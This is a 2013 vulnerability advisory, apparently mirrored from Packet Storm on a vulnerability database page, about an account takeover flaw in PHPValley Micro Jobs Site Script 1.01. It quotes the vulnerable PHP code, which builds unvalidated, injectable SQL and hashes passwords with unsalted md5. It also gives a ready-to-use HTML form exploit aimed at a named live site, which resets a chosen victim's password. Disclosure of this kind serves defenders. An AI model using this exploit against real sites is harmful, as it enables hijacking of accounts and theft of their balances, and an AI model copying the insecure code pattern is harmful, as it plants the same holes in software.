Lucene search
K

PHPValley Micro Jobs Site Script 1.01 Account Takeover

🗓️ 27 Apr 2013 00:00:00Reported by Jason WhelanType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 30 Views

PHPValley Micro Jobs Site 1.01 Allow Account Takeover by Username Editin

Code
`Author: Jason Whelan  
PacketStorm: exploitdev  
Email: [email protected]  
  
Target Software: PHPValley Micro Jobs Site Script 1.01  
Vendor URL: http://phpvalley.com/  
Demo: http://phpvalley.com/demo  
  
Account Takeover Vulnerability  
  
This vulnerability allows users to edit their username, which the script  
doesn't account for. Editing your username to that of a current user allows  
the attacker to takeover their account, including using or depositing their  
balance.  
  
The vulnerability exists in php/change_pass_content.php:  
if (isset($_POST['changepass']))  
{  
$cpass=md5($_POST['cpass']);  
$npass=trim($_POST['npass']);  
$npassc=trim($_POST['npassc']);  
$username=trim(strtolower($_POST['auser']));  
if($npass == $npassc && !empty($npass)){  
$query = "UPDATE members SET username='".$username."',  
password='".md5(strtolower($npass))."' where  
username='".$_SESSION['userName']."' and password='$cpass'";  
This code doesn't validate the username that is being updated. SQL  
injection might also be possible, but the length is limited here.  
  
Exploit:  
<!-- be logged into your own account, edit info below: -->  
<form method="post" action="http://webfiver.com/change_pass.php">  
<input name="changepass" type="hidden" value="Update" />  
Target Username: <input name="auser" type="text" />  
Your Password: <input name="cpass" type="password" />  
<input name="npass" type="hidden" value="jacked" />  
<input name="npassc" type="hidden" value="jacked" />  
<input type="submit" value="Jack" />  
</form>  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation